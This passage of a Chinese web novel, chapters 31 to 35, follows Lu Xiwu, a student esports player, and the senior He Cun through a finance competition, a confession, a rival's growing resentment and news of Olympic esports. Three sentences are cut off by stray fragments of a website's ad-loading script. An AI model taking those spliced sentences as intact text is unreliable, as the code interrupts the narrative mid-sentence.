林修瞥了一眼手机屏幕，旋即坐直了身体，又仔细看了两遍郑助理的汇报，急匆匆地离开了便利店。 鹿溪午在告别林修后，才来到医院的病房。 鹿奶奶已经吃完晚饭了，正坐在床上跟孤儿院的孩子们视频。 看着鹿奶奶灿烂的笑容，鹿溪午没打扰她，只是将手里的东西交给护工赵姨，便轻手轻脚地离开了。 在城市的夜晚里，交通拥挤的街道上，绽放的霓虹灯，奔涌不息的人潮，汇成了一幅独特的都市晚夜图。 每当鹿溪午孤身一人走上街头时，周遭的环境越热闹，他便越觉得这个城市不属于他。 就像是没有线的风筝，空中飞舞的蒲公英，横渡太平洋的无脚鸟，徒余自由，没有羁绊。 他是一个没有家的人。 家—— 不知怎的，鹿溪午脑海里突然闪出了贺存在厨房做饭的场面。 两人其实已经有好几天没有联系了。自从鹿溪午开始胡思乱想之后，他的胆量就像被针尖戳破的气球，再也不敢主动去找贺存说话了。 但鹿溪午永远记得那天的台风—— 窗外的风鬼哭狼嚎得吓人，风雷交加仿佛是天破开了一个大口子，但贺存家里却很温暖。那道虾肉豆腐盖浇面的香味似乎还萦绕在鼻端，辛辣鲜香不停地刺激口腔分泌唾沫。 “帅哥？要进来尝尝我们店里新到的小龙虾吗？今天八折优惠哦～” 鹿溪午被推销员的话唤回现实，女孩子戴着印有店面名字的鸭舌帽，红润光泽的脸上有些莫名的羞涩。 鹿溪午抱歉地摇了摇头，瞳孔在灯光的照耀下仿佛两颗琥珀，闪烁着漂亮的微光。 “谢谢，我吃过……” 滴滴—— 口袋里的手机不合时宜地振动起来，鹿溪午急忙掏出手机，结果却发现是运营商的广告短信。 他失望地移开了目光，连头发都开始耷拉下来。 “那……”推销员小姐姐暗暗地瞥了一眼鹿溪午的脸，咬咬牙道：“那帅哥加个微.信呗？下次有活动我再通知你啊。” 鹿溪午对于这种用在自己身上的小把戏啼笑皆非。 见到鹿溪午没说话，推销员小姐姐乘胜追击：“帅哥应该还没有女朋友吧？” “还没有，但我猜……像你这么漂亮，肯定有男朋友。”鹿溪午伸手抽出一张推销员小姐姐手里的传单，头也不回地朝她挥了挥手中的传单—— “下次我一定来捧场。” 32.比赛 期末临近，随着冬日凛冽霜风一起从遥远的西伯利亚来的，还有令无数学子无比绝望的期末考试。 图书馆内，周有柏早早占好了位置，拉着鹿溪午一起进行了期末预习……哦不，是复习。 室内开着暖气，鹿溪午的指尖都被熏得嫣红，电竞选手的手本就修长漂亮，白皙的皮肤染上淡淡的红晕，犹如被雪覆盖的枝头绽出的一朵红梅。 但鹿溪午的指尖却是在手机上悬停半晌，不知该回些对方什么话语才显得更自然一些。 学长：[期末考纲.doc] 学长：[这是期末的考试范围，你发到班群里去吧。] 再往上翻的聊天记录，也都是公事公办的问答。 好像公司里的上下属关系啊…… 鹿溪午沮丧地回了一个[好的]，直接抛下手机，砸在书上发出细微的闷响，扯过卷子开始泄愤般地奋笔疾书。 “天呐！线代和高数是个什么鬼东西？”周有柏抱着线代和高数厚厚的两本书趴在桌面上，表情空白，“我好像看到补考在向我招手了……” 鹿溪午不解地看向周有柏，用手掩住嘴唇的一边，用气声问道：“你不是听课了吗？” “听课了就一定会吗？”周有柏泪流满面，碍于图书馆却不敢大声喧哗，只能用极为夸张的嘴型表达自己的愤怒，“你为什么会有这样的误解？！” “嗯……”鹿溪午赶紧把自己写满答案的练习卷往后藏了藏。 周有柏立即注意到鹿溪午满满当当的卷子，面上浮现出不可置信的表情，狰狞得仿佛是抓住了自己出轨的丈夫：“你居然？！” 在周有柏眼神的质问下，鹿溪午越发心虚，只得干笑回应，“那个……哈哈哈……” “说好学渣手牵手，谁先学会谁是狗！”周有柏说到最后一个字时，牙齿都快咬碎了，并表示要单方面跟鹿溪午绝交三秒钟。 鹿溪午无奈妥协：“咳咳……你哪题不会？我给你讲？” “这还差不多嘛。”周有柏立即呲着大牙靠过来，不知想到了什么笑得一脸促狭，“最近贺老师给你开小灶了没有啊？他的那门课可有四个学分呢！” 鹿溪午敛了嘴角，声音隐约地沉了下去：“没有……” “行吧。”周有柏重新靠回椅背上，用笔挠挠头，“我记得最近你好像都没去找过贺老师来着，而且上课的时候你也怪怪的——你跟贺老师吵架了吗？” “没有。”鹿溪午生硬地扔出两个字，手上的书又遮掩似的翻过好几页。 周有柏觑了一眼鹿溪午的脸色，明智地选择跳过这个话题：“那啥，我们还是来看看高数吧。” …… 斑比：[好的。] 又是简短无比的两个字。 贺存简直要被鹿溪午气笑了。 他其实早就察觉到了鹿溪午态度的变化。但这几天无论他怎么试探，怎么找机会，总能被鹿溪午以各种各样的理由拒绝。 究竟是哪里不对？ 贺存摘掉眼镜，掐了掐眉心，难得地感到一丝烦躁。 谢嘉推门而进，罕见地发现贺存居然靠在椅背上发愁，立即警惕了起来。 “怎么了？存哥？是你的项目出问题了？……不对，不至于……是收购那边不顺利？但谁会跟少东家对着干呢……”谢嘉实在是不知道什么事情能让贺存露出这个表情。 “难道——是你家集团要倒闭了？！”谢嘉瞬间惊恐：“那我还给华曙投了简历！能还我吗？” 眼见谢嘉越说越离谱，贺存的头更疼了：“你想哪儿去了？能不能先尊重一下市场的经济周期？” “是是是，现在正是扩张拐点嘛，离经济衰退还挺远的……” 谢嘉悻悻闭嘴，环抱手臂靠在桌子上，斜觑着贺存的神色：“所以你不是在为事业苦恼咯。” 贺存单手握着眼镜，微闭着眼，没有搭理谢嘉的话。 谢嘉啧啧两声：“那就是为爱所困呗。” 闻言，贺存睁开了双眼。没了眼镜的遮挡，优越五官里所蕴含的冷锐与锋芒毫无阻碍地倾斜而出，眼眸中的星芒如同出鞘的剑刃，清越，冷冽，陵劲淬砺。 谢嘉下意识地后退一步，“你……” “你只是来找我闲聊的么？”贺存单手戴上眼镜，身体仍靠在椅背上，整个人又重新沉默起来。 随着贺存懒散地收回目光，谢嘉浑身的压力也随之一轻，哪怕是已经跟贺存认识很久了，谢嘉有时也会被他不经意流露出的锋芒所摄。 “我可没那么闲——这不是最近全国金融博物馆跟金融启蒙中心那帮子人联合办了一个什么挑战赛，找了个赞助商非要整排面，咱们boss想让你带队参加去。” 说到参加比赛，谢嘉明显停顿了一下，很是不满地撇撇嘴：“这是在拿咱们学校的名头给赛事抬咖呢，吃力不讨好……你可以拒绝啊，师兄师姐都没答应，这不让我来问你了。” 贺存的导师在业界是如雷贯耳的存在，不少类似的事情会找上他。估计这次是官方出面，实在是令他不好拒绝，这才问到学生身上。 “赛制有吗？我看看。” “我发给你吧。”谢嘉摇了摇手机。 贺存粗略地扫了一眼。他是经常参加kaggle金融竞赛的人，对于这个相比之下略显粗糙的评比方案显得兴趣缺缺： “没法量化的比赛，结果是没有意义的。” “可说呢。”谢嘉赞同地点头，“那我就给boss说了啊，直接让本科生自己组队参加也挺好，要什么带队老师……” 贺存忽地坐直了身体：“本科生？” “是啊，boss说本科生参赛，找有比赛经验带队就行了，让咱们去的话不降维打击了么……” “我去。” “嗯。嗯？你说啥？”谢嘉猛的抬头，怀疑自己听错了，“你不是说没意义吗？” “……意义都是人赋予的。”贺存慢条斯理地仔细看起比赛文件来，“这场比赛，对我来说，就很有意义。” 这话却让谢嘉更加摸不着头脑了：“哈？” . 鹿溪午是在第二天知道自己被选中了去参加金融挑战赛。 对此，他很是疑惑：“这人是怎么选的？我又没报名。” 周有柏羡慕地看向鹿溪午：“听说是根据平时作业的评分选的，咱们班就只有你跟赵文入选了，你们得给我们学校争光呀！” 参赛的文件上，带队老师的那一栏，贺存的两个字正明晃晃地印在上面。 真是屋漏偏逢连夜雨，自己还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没想好怎么面对学长呢，结果后面还得天天见……鹿溪午苦哈哈地笑笑。 赵文也同样一反常态地对这个比赛并不感冒，甚至可以说是兴趣缺缺。 “含金量不高，参加的意义不大。”赵文换了支水笔写题，“希望比赛结束后，我还有充足的时间准备期末考试。” “你们学霸还挑比赛呢？考虑过我们学渣的感受了么？”周有柏忿忿，“我到现在为止还没攒够综合分的比赛加分呢！” “不就几个校级一等奖吗？很容易的。”赵文淡淡道。 周有柏：你要不要听听你在说什么？！ 大概是周有柏怨念的目光太过强烈，竟让赵文从知识的海洋中短暂地抬了下头，“下次有团队项目的话，我们一起。” 周有柏生怕赵文反悔：“好哇好哇好哇！把老鹿也带上呗！大学霸带我俩飞。” 赵文毫不犹豫地戳穿周有柏：“鹿溪午不需要带飞，只有你。” “看破不说破嘛……” 相比两人的你来我往，鹿溪午就显得沉默了许多。 周有柏早就注意到了鹿溪午最近的状态，但不知道该怎么问起。他戳了戳赵文，却只见到对方对他微微摇了摇头。 这是鹿溪午的私事，既然他不愿意说，还是让他自己解决吧。 赵文眼神示意周有柏，得到了对方的深深一口叹息。 自己最近幽微的心境，鹿溪午不好对学校的朋友言讲，而徐泽最近又忙得不可开交，但他又真的需要一个旁观者来理清自己的思路…… 鹿溪午在署名【大佬】的对话框前犹豫许久，还是发出了自己的困惑： 675：[大佬，我觉得，我喜欢的人好像不喜欢我……] 而终于等到鹿溪午消息的贺存简直不可思议：难道是他表现得还不够明显吗？ 贺存咬着牙思索半晌，回道： 大佬：[哦？为什么这样想呢？是他拒绝你了吗？]: 675：[没有……] 大佬：[那是他对你的接近很冷淡？] 675：[也不是……] 鹿溪午开始谨慎地措辞： 675：[他是个很好很好的人，好到连路边的流浪猫都会悉心照顾。也许我对他来说，跟路边随手捡的流浪猫一样吧。] 贺存将鹿溪午的消息反复看了好几遍，眼中泛起点点心疼之色。 幼时被父母抛弃带来的心理上伤害，是很难通过其他渠道去弥补的。不管是鹿奶奶的照料还是来自徐泽周有柏这些朋友的关心，都没法抹除鹿溪午潜意识里对自己的认知——我不值得被爱。 鹿溪午可以对一眼就喜欢的人大胆表达自己的心意，但在产生更近一步的亲密关系时，潜意识里的怀疑和不信任，会让他开始回避这段关系的发展。 这些连鹿溪午自己都不一定意识到的心思，贺存却是看得明白。 而越是明白，他就越心疼。 屏幕对面已经很久没回消息了。鹿溪午沮丧地耷拉着眉眼，也许大佬正在想怎么安慰自己吧？ 滴——鹿溪午拿起手机，是来自大佬的消息，只有短短的两句话。 大佬：[你怎么会和小猫一样呢？] 大佬：[没有感受的心意，那是对方做得不够。] 33.破冰 鹿溪午是一个习惯在黑暗中踽踽独行的人，而贺存就是天上的那一轮皎洁的月。 纵使暗夜中的旅人被月亮的清辉所惑，曾不自量力地试图伸手摘月，但终究……还是会醒悟过来：月亮从来都不为一人停留，月光洒向的是人间众生。 鹿溪午敛好所有的心思去见了贺存。 他似乎还是那样。 已经入冬了，室内的暖气开得很足。贺存只穿了一件他最常穿的白衬衫，袖子挽至小臂，银框眼镜后的眼睛明亮犀利，仿佛能一眼看穿别人的内心。 两人视线交错的一霎那，鹿溪午抢先低下了头，但下一刻他就后悔了——太刻意了，学长会看出来的吧？ 贺存注意到了鹿溪午的动作，眼神暗了暗，但仍跟往常一样招呼：“怎么愣着？快进来坐。” 这时候鹿溪午才注意办公室里已经坐了不少人，有男有女，应该都是参加比赛的人。 唯一空着的位置在贺存的旁边，离得很近，是只要一活动就能碰到手肘的程度。 鹿溪午眼观鼻鼻观心地坐下，尽量缩小自己的存在感。 贺存没说什么，反而开始介绍起在场的人来。 这次参加比赛的同学不多。 除了鹿溪午和赵文两个大一生之外，就是几个大三金融系的学长学姐。 贺存跟众人一起敲定了参赛的项目，鹿溪午和赵文被分配到了整理过往文献资料的活。 直到真正面对贺存时，鹿溪午才发现克制简直是太难了。 就像飞蛾天性会被光源所吸引一样，鹿溪午的眼神总是不自觉地落在贺存身上。 看他鬓角被气流带起的碎发，耳廓上的黑痣，乃至说话时颤动的睫毛。 梵高说：“每个人心里都有一团火，而路过的人却只看到烟。” 这句话与他当下的情况无比吻合。 他的心间有一把燎原的烈火，无论心脏如何在灼烧中跳动蒸腾，经久不息，每当贺存投来目光时，都只能看到一缕淡薄微渺的烟气。 许是鹿溪午走神走得太久，等他再次回神时，办公室里就剩下了他跟贺存两个人。 鹿溪午拽了拽自己的衣服下摆，有些犹豫地开口：“学长，我先走了哦。”边说还边向门边挪。 “等等。”贺存叫住了即将夺门而出的鹿溪午，从椅背上抓起一条围巾，“今天下午降温，你穿得少……” “不不不用了。”鹿溪午忙不迭地拒绝。 “——带上。”贺存不容置疑地将围巾套在鹿溪午的脖子上，“这个天气感冒了可不是闹着玩的。” 熟悉的木质香顿时冲进鹿溪午的鼻腔，沿着神经末梢蜿蜒而上，仿佛扑面而来雨后的青山，低调得干净清冽。 鹿溪午下意识地按住翘起的围巾一角，指尖擦过贺存的手背，温热的触感一如两人在地铁站的初见。 贺存的笑容愈深，染上笑意的眼眸像是天上的星子，引人沉迷其中：“走吧，注意安全。” “……好。” 鹿溪午同手同脚地离开，差点撞到门框。 办公楼下，北风呼啸，天空阴沉得仿佛要低下来，或许今晚就能迎来城市的初雪。 鹿溪午摩挲着围巾的下摆，眼睛无意识地盯着某处，心里既因为围巾而激动，却又忍不住疑惑： 这……算学长对自己……？还是他随手一披，其实根本没有多想？……可围巾这么私人的物品，应该不会随便借人吧……会不会是我想多了？ 直到进入图书馆，鹿溪午还没有想个明白。 算了，还是先干活吧。 鹿溪午知道时间紧迫，他是比赛前期准备中的一环，必须抓紧时间，给后面的学姐学长更多调整的机会。 一连两天，鹿溪午都泡在了图书馆里，每天都在医院，家，图书馆三点一线，最后跟赵文一起做好了文献综述和资料整理，打包上传了群里。 675：[资料已经上传群文件，接下来的事情就交给学长学姐了！] 正经人：[两个学弟不错嘛，搞得有模有样的。] 晨晨晨曦：[可以可以，帮大忙了] 看到请叫我起床：[两个学弟有时间的话可以来看看我们建模，多学习学习总是有好处的] 675：[真的吗？谢谢学姐！] zhao：[好的感谢。] 鹿溪午伸了个懒腰，在图书馆里呆了这么久他快要吐了。 “赵文，要不一起吃饭去？” “不了，我带了面包，等会儿我得把这两天落下的复习进度补上。” 鹿溪午啧啧两声，这就是学霸的时间管理吗？佩服佩服。 “行吧，那我先走了。” 鹿溪午提着电脑包走出了图书馆，却意外在图书馆门口见到了贺存。 最近见到学长的频率也是太高了点吧…… “学长好。”鹿溪午如常打了个招呼。 “做得很好。”这是在说鹿溪午发在群里的整理结果。 贺存含笑望着鹿溪午瞬间赧然起来的脸，“我记得你今天下午没课吧？走吧，带你去吃东门那家粤菜。” 这下鹿溪午也顾不上难为情了，“什么？粤菜？” “你昨天不是说想吃吗？”贺存挑眉，疑惑地看向鹿溪午。 鹿溪午终于回想起了：昨天周有柏部门聚餐，是东门那家粤菜馆。他很是孔雀开屏地在企鹅上发了九宫格照片，把大半夜刷空间的鹿溪午惹馋了，在底下评论了一句“吃不到，嫉妒”。 他发誓！他只是在评论区里小小地抨击了一下周有柏半夜发美食的行为而已！不是真的想吃！ “我……”鹿溪午不知该怎么回应。 “走吧，这家位置很难订的。”贺存朝鹿溪午眨了眨眼睛，“我可是刷了脸的呢，你不去我会很没面子的。” 贺存很少在鹿溪午面前露出孩子气的一面，他给人的感觉多是如同山岳一般沉稳可靠。 可偶尔露出这样一面的贺存却显得格外真实鲜活。 鹿溪午的心脏怦怦直跳，耳尖不知是冷还是其他什么原因染上一缕薄红：“那，那走吧。” . “小奚？出门吗？”林修好不容易逮到最近不见人影的林奚，“我送你吧。” “不用了哥，有助理来接我。”林奚笑了笑，温和地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拒绝了林修，看起来跟从前的林奚别无二致。 “你……”林修还想说什么，却被林奚的手机铃声打断。 “等会儿啊哥。” 林奚掏出手机，神情顿时一凛，随即快步往外跑，边跑边回头：“我助理来了，赶时间呢，哥有什么事情我们手机上说吧——” “……”林修到底咽下了到嘴边的话：你是不是在躲我？ 这几天林修一直在找机会想跟林奚单独谈谈，但林奚却一直以工作和学校的事情为由对他避而不见。 林修很是挫败地叹了一口气，本以为今天他专程在家中能堵住小奚，没想到还是被他搪塞过去了。 林奚越是逃避跟他谈起鹿溪午的事情，林修就越担心。 看来他还是得还是想个办法，跟小奚好好谈谈。 保姆车上。 “奚奚，青婉姐说了，等会儿到了录音棚你要做好心理准备，这次跟咱们合作的音乐制作人脾气很大……” 小助理在前排开着车，他今年刚刚毕业，做事麻利却少了几分眼色，看不懂车座后排自家艺人周身压抑的气息。 “他发火的时候千万不要回嘴，对了，奚奚喝水吗？车座后排有热水……” 喋喋不休的话语一茬又一茬地钻进林奚的耳朵，把本就混乱的大脑搅得更加凌乱。 “……我知道了。” “嗯？奚奚你说啥？对了，刚才小林总给我发消息，说——” “够了！” 不知是哪个词触到了林奚敏感的神经，他大声呵斥住小助理的话语，那堪称狂躁的一面令小助理顿时噤声。 林奚的余光从后视镜中看到了小助理战战兢兢的神情，后悔地闭了闭眼：得安抚一下，不能让他出去乱说话。 “小孙，抱歉啊，我不是这个意思。” “是我不好，话痨的很。青婉姐说您最近心情不好，让我们少说话，多做事来着。”小助理小心翼翼地开口，一边说一边还观察着林奚的神情。 心情不好…… 林奚却没再接话，脸色晦暗不明地盯着窗外飞速倒退的景色，眼底的情绪复杂到小助理心惊胆战。 只有林奚自己知道是怎么回事。 他不敢再跟林修说话，也不敢深想林修去见鹿溪午的原因。 鸠占鹊巢。 占了别人身份，位置，资源的鸠鸟，身上每一片美丽的羽毛，每日所饮，所食，所用都来自于喜鹊。当它被喜鹊逐出巢穴之后，那只习惯于优渥生活的鸠鸟，还能经得起生活的风浪吗？ 林奚捏紧了手里的手机，望向窗外的眼里闪过疯狂的光芒：他从来都不是坐以待毙的人。鹿溪午，既然你要强抢，那就不要怪他动用手段了。 “奚奚……到了。” 耳边响起小助理忐忑的声音，林奚又恢复成原来那个温润内敛的模样。 他扬起微笑，“小孙，这个录音工作不急吧？” “不，不急。” 林奚笑容更深：“那你能帮我找找青婉姐在哪儿吗？我有些事情想问问她。” 小助理瞅着林奚的笑容，不知为何脊背犯冷，“啊啊？好。” 34.告白 周六是大部分人可以窝在家里一整天的休息日，但鹿溪午却在学院的微机室盯着电脑跑数据。 学长学姐们没有丝毫藏私，时常带着鹿溪午跟赵文一起建模，让这两个大一的小菜鸟都受益匪浅。 这本该是一件高兴的事情，但鹿溪午却陷入了焦虑中——他跟贺存见面的次数越来越多，而贺存似乎也毫不掩饰自己对鹿溪午的关照之意。 能被选来参赛的学长学姐也无一不是人精，每次跟贺存见面之后，总会受到来自他们促狭的目光。 鹿溪午无可奈何，却又无法解释。 今天正好是最后一次验证模型的日子，几人都等在嗡嗡作响电脑旁。 正百无聊赖时，有人起了话头：“今天中午咱们去吃食堂的黄焖□□？好久没吃了。” “正好饿了，估计还要模型跑一会儿呢，要不咱们先去吃饭吧。” “行啊，赵文，鹿溪午，一起去吧？” “好啊。”这样的约饭是常事，鹿溪午和赵文想也没想就点头答应。 几人正准备出门，却迎面撞上了提着外卖走进来的贺存。 “嗯？准备吃饭去吗？” 贺存虽然是在问众人，但眼神却独独落在了鹿溪午的身上。 是两人份的外卖。 在场的人都极有眼色，最近看贺存对鹿溪午的态度也大致能猜到几分。几人交换了眼神，均露出了暧昧的微笑。 离鹿溪午最近的赵文推了他一把，抢先道：“溪午不去，他最近食堂过敏。” “啊对对对对。” “是是是。” “没错没错。” 众人立刻推搡着往外走，脚步快得像是身后有什么洪水猛兽似的。 ——什么鬼？！ 鹿溪午猝不及防被推出约饭的阵营，还被赵文扣了一顶“食堂过敏”的帽子，简直有口难言。 贺存朝赵文等人的背影挥了挥手，脸上的愉悦显而易见，“去吧，慢慢吃。” 贺存回头的时候，鹿溪午震惊的表情还没有完全收敛，清亮的眼睛气鼓鼓的，眼下的卧蚕饱满生动，宛如一只炸毛的白尾鹿，漂亮又鲜活。 低沉的笑声自贺存的唇边传出，惊动了兀自生闷气的鹿溪午。 糟糕，忘了学长还在旁边。 鹿溪午瞬间变脸，露出一个乖巧的微笑：“学长好。” “猜到你应该还没吃饭，这是市中心那家的温泉蛋饭，就是你上次说喜欢的那家。”贺存拆开包装袋，在桌子上摆好了外卖盒，看向还傻站着的鹿溪午，“站着干嘛？吃吧。” 微机室里只有一张用来放杂物的课桌，桌面上原本摆着的各种不知用途的纸张，都被贺存一股脑塞进了桌肚里。 鹿溪午端着板凳坐在了贺存对面，“唔……学长是来检验成果的吗？” “算是吧。”贺存把酱料倒在温泉蛋上，用筷子拌好了递给鹿溪午。 “——这份没加葱花。” 动作迅速地完全没给鹿溪午拒绝的机会，“其实做到你们这个程度，比赛已经稳了，不需要太过忧虑。现在需要担心的是现场评委的提问。” “啊？还要提问？”鹿溪午的注意力立刻从温泉蛋饭转移到比赛上。 贺存暂时没回答，慢条斯理地吃进一口拌着蛋黄和酱料的饭，咀嚼得很细致。 鹿溪午大概知道一些贺存的用餐礼仪，不是严苛的食不言寝不语，而是在嘴里的食物咽尽前他不会开口。 这是刻进骨子里的良好教养。 而从小在孤儿院长大的鹿溪午吃饭堪称“风卷残云”，因为吃完后他作为年长的孩子还要帮鹿奶奶洗碗收拾，如果不快一点的话，很有可能连写作业的时间都不剩多少了。 这是融进血液里的生存本能。 这之前，鹿溪午从来不觉得自己的吃相有任何问题；但在遇见贺存后，鹿溪午总是会下意识地模仿贺存，可当他每每察觉到时，又觉得自己不过是在东施效颦。 真是拙劣的模仿者。 鹿溪午一边吃着，一边放飞思绪。 “我看了评委名单，他们不会问关于模型的任何问题，放心。” “嗯？”鹿溪午从自己的思绪中倏而抽离，看向声音的来源。 贺存却是弯了眉眼，一边以手掩唇，一边递过去一张纸巾，眼中闪过细碎的笑意，像是风过湖面泛起的粼粼微波。 鹿溪午赧然地接过纸巾，擦掉了嘴边的酱料，那是刚才走神时不小心沾上去的。 “——不过有几个评委在商界还是很有名气，会问不少结合实际的问题，万一抽到你，你就结合专业理论好好答就行了。” 贺存一脸理所当然地给鹿溪午划重点：“估计就是经济周期波动、失业、通货膨胀，嗯……还有储蓄。” 鹿溪午眨巴眨巴眼，不知道哪儿来的勇气问道：“这算是给我开小灶吗？” 贺存迅速蹙起眉头，鹿溪午暗道不好，抢先开口：“我开玩……” “你才看出来吗？” “笑的——啊？？？”鹿溪午完全没想到贺存会这么说。 “难道我陪你在微机室熬的夜，下课送你回家的路，带你吃的烧烤火锅小笼包，这些都不作数了吗？” 贺存眉梢微挑双眸怔然，也不知道是不是鹿溪午的错觉，他总觉得贺存说的每一个竟都透出一丝委屈来。 啪嗒一声，鹿溪午二十年来运转良好的大脑头一次过载了，他下意识地接了一句：“什么小笼包？” 贺存的眼睛瞪得更大了，他现在每一个毛孔都在散发着不可置信的气息。 “哦哦哦，昨天早上，对不起对不起对不起……” 鹿溪午连声道歉，但无济于事。贺存此时看起来像极了十八年后第一次见到薛平贵的王宝钏，捂着心口半天憋不出一个字。 完蛋！ 鹿溪午简直欲哭无泪：让暗恋对象误以为自己是渣男怎么办？急，在线等！ 贺存差点把自己的牙咬碎了，深觉跟这只小斑比不能用温水煮青蛙的方式，得开大火！猛炒！ 只能说贺存不愧是有良好情绪控制能力的世家子弟。他呼出一口气，平复了此时气急败坏的情 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绪，甚至还用手理了理领口，黑眸滚烫明亮得惊人，像是两颗跳动的火星。 “鹿溪午，我喜欢你，你能感觉到吗？” 砰—— 鹿溪午的心里炸开了一朵烟花。 我喜欢你—— 闪亮的火焰在漆黑的夜空里崩开，四散，又落下。 你能感觉到吗—— 火星溅落在大地上，很快便引燃了零星的枯草，长风卷过，便是燎原的山火。 “每个人心里都有一团火，而路过的人却只见到了烟。”可梵高没说，万一，这是一场旷日持久的燎原之火呢？ 良久，鹿溪午才反应过来似的猛吸一口凉气，“我……” “你不用这么着急回答我。”贺存温柔地打断了鹿溪午的答案，“你要记住，你是值得被爱的小斑比。” “我是一个贪心的人，我要的不是年少的惊艳，不是后辈的仰慕，也不是吊桥效应里的依赖。我想要——”贺存轻轻地呼出口气，仿佛是在缓解把自己的心思剖白的尴尬。 “你爱我，只是爱我。” 鹿溪午怔住了，平时灵光的大脑和伶俐的舌头完全宕机，他甚至完全不知道自己该摆出一副怎样的表情。 所幸及时响起的电话铃声救了他—— 是徐泽的。 鹿溪午抓起手机，逃也似的接起电话：“呼……怎么了？老徐？” “你在哪儿？”徐泽的语气激动，没注意到鹿溪午此时的不同寻常，“我记得你周六没课是吧？” “没课……” “赶紧来俱乐部一趟！快！”徐泽催促道，“我有很重要的事情，你赶紧过来！” 徐泽从来没有如此激动过，他的态度令鹿溪午更加摸不着头脑了：“什么？” “电话里说不清楚，你赶紧过来啊，我等你。” 说完，徐泽哐的一声挂断了电话。 “怎么了？”贺存平静地问，态度自然得好像刚才那个激情告白的人不是他，“出什么事了？” 徐泽不是无的放矢的人，他这么说了多半确实有什么大事发生。 鹿溪午机械地说完前因后果，却看见贺存拿外套站起身来，掏出车钥匙说：“那我送你吧。” 这时鹿溪午才如梦初醒般猛然摇头：“不不不用了，我可以自己去。” 贺存没再坚持，体贴地给足了鹿溪午思考的时间：“那行，自己一个人要注意安全。” 鹿溪午点点头，半个身子已经跨出门时又转回来，盯着贺存的眼睛严肃地问：“谁是斑比？” 贺存被鹿溪午的小表情逗笑了，拿出手机递到他的眼下：“小鹿，斑比。” 鹿溪午就着贺存手机屏幕上斑比的图片，来自上个世纪的简约画风，寥寥几笔就勾勒出一只小鹿开朗活泼的模样。 鹿溪午紧蹙眉头，仔细端详了半晌，指着它不满：“和我哪儿像了？为什么要叫我斑比？” “怎么不像？”贺存举着手机图片跟鹿溪午对比，视线来回巡睃，最后拍板：“一样的，一样可爱。” 鹿溪午：？ 35.奥运 鹿溪午一到达TD俱乐部的大门，就被等了许久的徐泽抓住。 “你怎么来得这么慢？干嘛去了……” 鹿溪午：……说出来你可能不信，我刚刚被人表白来着。 徐泽却没有注意到鹿溪午一反常态的沉默，反而拉着人往楼上会议室走。 “我要告诉你个天大的好消息，电话里说不清楚，只好把你叫来了——”徐泽拉开会议室的椅子，“坐。” “不是……”鹿溪午忐忑地坐下，神情很是不安，“你，你正常一点，到底怎么了？” “不是我，是电竞！”徐泽反而看起来更加激动了，满面红光地对鹿溪午说： “——电竞进入奥运会了！” 鹿溪午：！！！ 徐泽抓住鹿溪午的肩，激动不已：“我终于能集齐联盟所有大神选手了哈哈哈哈……” “——不是，等会儿，什么时候的事？”鹿溪午赶忙制止徐泽的发疯行为，“你说清楚点。” “正式文件今天早晨才批下来的，还没有官宣。”徐泽龇着大牙，笑得合不拢嘴，“我也是刚刚接到官方的电话，邀请我去担任集训教练。” 鹿溪午被这个突如其来的消息砸得有点懵，虽说近年来也有一些大型体育赛事将电竞纳入其中，但“奥林匹克”本身就意味着无上荣光。 “今年寒假集训选拔国家队，备战明年八月份的奥运会。”徐泽冲鹿溪午一挑眉，“国家队，你来吗？” 鹿溪午的呼吸有些粗重：国家队，那是闪着荣耀和认同的三个字，是每一个竞技人为之动容的目标。 异界之颠的世界赛已经举办得很成熟了，但这两者给人的感觉却是完全不同，谁能拒绝在领奖时放国.歌的诱惑呢？ 不知道这届国家队的选拔标准是什么，其实除了俱乐部选手之外，民间的天梯选手也值得考虑，甚至是在国外俱乐部效力的选手都能应召回国…… 鹿溪午的理智将他的思维艰难地拉回现实：“这个国家队名额的竞争怕是会很激烈吧？” 徐泽哼哼一笑：“激烈才能筛选出一只最强大的国家队不是吗？” 翌日。 电竞加入奥运会的消息在网上引发了轩然大波。 各大社交网站的词条都被“奥林匹克电竞”等占据，这无疑是给一直以来被贴上“不务正业”标签的电竞行业最好的正名。 这次奥委会选择了受众较大的MOBA类和FPS类游戏，这两类游戏的比赛模式较为完备，是多方考虑之下的最优选择。 《异界之颠》作为MOBA类游戏中最为普遍的一款，毫无疑问地被定为比赛的项目之一。 于是各大职业选手的评论区就被粉丝淹没了，连官博底下的评论也是爆发式增长。 【梦想成真，我考上985都没这么激动过】 【好期待国家队的人选哦】 【GH的上单，NH的射辅还有TD的中野，我都不敢想象这五个凑一起有多强】 【还有COW-joker，是我们丑爷的射手不香吗？】 【别忘了SGG的nice，联盟第一辅助了解一下】 【也不能一味堆砌阵容，你们忘了上次全明星开幕式nice跟sad两人带崩全队的光荣事迹了吗？】 【咦惹，这两人八字不合，从名字都能看出来好咩】 【只有我一个人想到了deer吗？咱们曾经的排面呢QAQ】 【+1】 …… 鹿溪午浏览着评论区，现在大部分的关注点都在国家队的人选上，网友们讨论得热火朝天，也有不少粉丝发了长篇分析贴，引来了无数点赞。 “想去？” 贺存将剥好的小龙虾都放进鹿溪午的碗里，摘下塑料手套，用一旁的纸巾擦手。 “我才复学呢，不能再休学了……”鹿溪午很是犹豫。 “那就申请线上授课，期末缓考。”贺存擦完手，又给鹿溪午喝完的杯子蓄满水，“你这算是为国争光呢，学校估计还怕你不去。” “……选拔是在寒假，我去试试吧，选上再说。” 说起来其实鹿溪午已经有小半年没进行过训练了，手感不知道还保留着多少。这类竞技比赛，手感的保持其实是很重要的事情。 鹿溪午悻悻然地放下手机，本想再说两句，却看见自己面前多了满满一盘子虾肉吓了一跳：“学长，你别光给我剥，你自己也吃。” 这家小龙虾的店其实就是上次鹿溪午在医院外看到的，当时答应了推销员小姐姐要来光顾，于是今天便带着贺存来履行承诺。 只是中午来吃小龙虾的人并不多，店里只有零星的几人，略显冷清。 上次的小姐姐就站在收银台旁边，眼神时不时地瞥向两人，熊熊燃烧的八卦之魂呼之欲出。 ——谁懂啊家人们，这一对也太好磕了吧！ 贺存很有追人的自觉，一上菜就带好了手套剥虾，一点都没有富家公子的架子。 只要是跟鹿溪午一起吃饭，贺存就没让人动过手。 